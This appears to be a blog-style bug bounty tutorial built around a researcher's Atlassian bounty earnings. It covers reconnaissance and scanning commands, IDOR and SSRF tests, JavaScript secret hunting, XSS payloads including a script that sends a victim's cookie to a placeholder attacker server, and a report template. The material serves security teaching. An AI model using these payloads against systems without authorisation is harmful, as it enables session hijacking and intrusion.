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Introduction:
Bug bounty programs offer a legitimate pathway for security researchers to monetize their skills by identifying vulnerabilities in enterprise software. Salman Alfarizi’s recent success, earning $1,400 from testing Atlassian products, highlights the tangible opportunities in this field. This article deconstructs the technical mindset and toolkit required to embark on a successful bug bounty journey.
Learning Objectives:
- Understand the core methodologies for reconnaissance and vulnerability scanning against modern enterprise platforms.
- Learn essential commands for automating discovery and validating potential security flaws.
- Develop a structured approach to reporting vulnerabilities to maximize the chance of acceptance and reward.
You Should Know:
1. The Art of Reconnaissance: Uncovering Hidden Endpoints
Effective bug hunting begins with comprehensive reconnaissance to map the target’s attack surface. This involves discovering subdomains, directories, and APIs that may contain overlooked vulnerabilities.
Verified Command List & Tutorial:
Subdomain enumeration using subfinder and amass subfinder -d atlassian.net -silent | tee subdomains.txt amass enum -passive -d atlassian.net -o amass_subs.txt Combining and sorting results cat subdomains.txt amass_subs.txt | sort -u > final_subdomains.txt Probing for live hosts using httpx cat final_subdomains.txt | httpx -silent -threads 50 > live_hosts.txt Using waybackurls to find historical endpoints cat live_hosts.txt | waybackurls | sort -u > endpoints.txt
Step-by-Step Guide:
This methodology automates the initial discovery phase. `subfinder` and `amass` perform passive subdomain enumeration to identify potential targets. The results are merged and filtered for unique entries. `httpx` then probes these subdomains to determine which are actively responding to HTTP requests. Finally, `waybackurls` scrapes historical data from the Wayback Machine to uncover old, often forgotten, API endpoints and pages that might be vulnerable. The final list in `endpoints.txt` serves as your primary target list for manual testing.
2. Vulnerability Scanning with Nuclei Templates
Once you have a list of live hosts and endpoints, the next step is to scan them for known vulnerabilities efficiently. Nuclei uses community-powered templates to identify a wide range of issues.
Verified Command List & Tutorial:
Update nuclei templates nuclei -update-templates Run a scan for common vulnerabilities on live hosts nuclei -l live_hosts.txt -t exposures/ -t vulnerabilities/ -o nuclei_scan_results.txt Target specific Atlassian-related vulnerabilities nuclei -l live_hosts.txt -t technologies/atlassian-jira.yaml -severity medium,high,critical -o jira_scan.txt
Step-by-Step Guide:
Running `nuclei -update-templates` ensures you have the latest detection signatures. The first scan command uses the `-l` flag to load your list of live hosts and targets two template directories: `exposures/` (for exposed config files, directories) and `vulnerabilities/` (for common CVEs). The results are saved for analysis. The second command is more targeted, using a technology-specific template to check for known Jira misconfigurations or vulnerabilities, filtering only for medium-to-critical severity findings to reduce noise.
3. Manual Testing for Business Logic Flaws
Automated tools can’t find complex business logic vulnerabilities. This requires manual testing, often focusing on authentication, authorization, and data flow.
Verified Command List & Tutorial:
Using curl to test for IDOR (Insecure Direct Object Reference) curl -H "Authorization: Bearer <USER_A_TOKEN>" https://target.com/api/user/12345/profile curl -H "Authorization: Bearer <USER_B_TOKEN>" https://target.com/api/user/12345/profile Testing for parameter pollution curl -X POST https://target.com/api/changeEmail -d '[email protected]&[email protected]'
Step-by-Step Guide:
The first set of `curl` commands tests for IDOR. If User B can access User A’s profile data (ID 12345) by changing the resource identifier in the URL, it’s a critical flaw. The second command demonstrates parameter pollution, where sending multiple parameters with the same name might confuse the application logic, potentially leading to account takeover or other exploits. Manual testing in a burp suite repeater is often more efficient for these checks.
4. Analyzing JavaScript for API Secrets and Endpoints
Modern web applications bundle their logic into JavaScript files, which can leak sensitive information like API keys, internal endpoints, and hidden functionality.
Verified Command List & Tutorial:
Downloading JS files from a target katana -u https://target.atlassian.net -js-crawl -depth 3 -output js_urls.txt Using gf patterns to find secrets in JS files cat js_urls.txt | httpx -silent | xargs -I % curl -s % | gf api-keys > potential_secrets.txt A simple grep for common patterns curl -s https://target.com/main.js | grep -E "api[_-]?key|auth|token|secret" -i
Step-by-Step Guide:
`Katana` is used to crawl the target website and extract all linked JavaScript file URLs. These URLs are then fetched using curl, and the content is piped into `gf` (a tool with predefined patterns) to search for strings that resemble API keys, tokens, or other secrets. A simple `grep` command can also be effective for a quick initial check. Any findings must be verified to determine if they are active and valid.
5. Validating SSRF Vulnerabilities
Server-Side Request Forgery (SSRF) is a powerful vulnerability that can lead to internal network access. Atlassian systems, often connected to internal resources, can be prime targets.
Verified Command List & Tutorial:
Using a collaborator payload with Burp Suite's Collaborator client 1. Generate a collaborator payload: canarytokens.com or burp collaborator 2. Test in any parameter that might trigger a server-side request http://internal.canarytoken.xyz https://webhook.site/unique-id Testing with curl from an external server curl -X POST https://target.com/webhook -d 'url=http://your-burp-collaborator.net'
Step-by-Step Guide:
SSRF validation requires an external service that can log HTTP interactions. You inject a URL pointing to your external service (like a Burp Collaborator payload or webhook.site URL) into any parameter that the server might use to make a request (e.g., webhooks, image fetchers, PDF generators). If your external service receives an HTTP request from the target server, you have confirmed the SSRF. The impact escalates if you can leverage it to access metadata endpoints (e.g., `169.254.169.254` on AWS) or internal services.
6. Exploiting and Mitigating Cross-Site Scripting (XSS)
While often considered a lower-severity issue, XSS can be critical in the context of admin panels or applications handling sensitive data.
Verified Command List & Tutorial:
Basic XSS payload for proof-of-concept
<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>
Using a proof-of-concept server to demonstrate impact
Host a simple script that steals cookies
python3 -m http.server 8080
Payload: <script>fetch('http://your-server:8080/steal?cookie=' + document.cookie)</script>
Step-by-Step Guide:
After identifying a parameter that reflects user input unsanitized, inject a simple payload like <script>alert(1)</script>. If an alert box pops up, the site is vulnerable. To demonstrate severity, host a simple HTTP server and use a payload that sends the victim’s session cookie to your server. This proves the potential for session hijacking. For mitigation, developers should implement context-aware output encoding and a strong Content Security Policy (CSP).
7. Crafting the Perfect Bug Bounty Report
A well-written report is as important as the finding itself. It must be clear, concise, and demonstrate the impact.
Verified Structure & Tutorial:
This is a template, not a command-line code. [Vulnerability Type] on [Target Domain/Endpoint] <ol> <li>Summary: Brief description of the issue.</li> <li>Steps to Reproduce:</li> </ol> - Step 1: Navigate to https://target.com/endpoint - Step 2: Intercept the request in Burp Suite. - Step 3: Modify the `userId` parameter to a different user's ID. - Step 4: Forward the request. Observe that you can access another user's data. 3. Impact Analysis: This allows any authenticated user to view the private data of any other user, leading to a confidentiality breach. 4. Proof of Concept: Attach screenshots or a video. 5. Suggested Fix: Implement proper authorization checks on the server-side.
Step-by-Step Guide:
A good report follows a logical flow. The title should be specific. The reproduction steps must be so clear that the security team can replicate the issue without any guesswork. The impact analysis explains the “so what?” to the company. The proof of concept (screenshots, video) is undeniable evidence. Finally, a suggested fix shows professionalism and helps the team resolve the issue quickly, increasing the likelihood of a reward.
What Undercode Say:
- Methodology Over Luck: Salman’s success wasn’t accidental; it was the result of a systematic approach combining automated reconnaissance with deep manual testing, particularly against a focused technology stack (Atlassian).
- The Duplicate is a Validation: The fact that one report was a duplicate is not a failure but a sign that his methodology is on the right track, identifying critical issues that other top researchers are also finding.
Salman Alfarizi’s $1,400 August recap is a microcosm of the modern bug bounty economy. It demonstrates that significant rewards are achievable for researchers who specialize. Instead of spraying and praying across thousands of targets, he focused his efforts on a single, complex vendor (Atlassian) whose products are deeply integrated into business infrastructures. This specialization allows a researcher to develop deep expertise in a specific technology, understanding its common misconfigurations and subtle logic flaws that broad-scope scanners will miss. The key takeaway for aspiring hunters is to choose a niche, master the tools of reconnaissance and validation, and, most importantly, learn to articulate the business impact of a vulnerability. The technical find is only half the battle; a clear, professional report is what turns a vulnerability into a bounty.
Prediction:
The convergence of AI and bug bounty hunting will dramatically reshape the landscape within two years. Offensively, AI-powered tools will autonomously conduct more sophisticated reconnaissance, generate complex fuzzing payloads, and even identify novel attack vectors by learning application behavior. Defensively, AI will be integrated into SDLC to proactively identify and patch vulnerabilities before deployment. This will push bounty hunters towards discovering higher-order, business-critical logic flaws that AI cannot yet comprehend, ultimately raising the skill ceiling and the potential rewards for expert human researchers.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Salman Alfrz – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
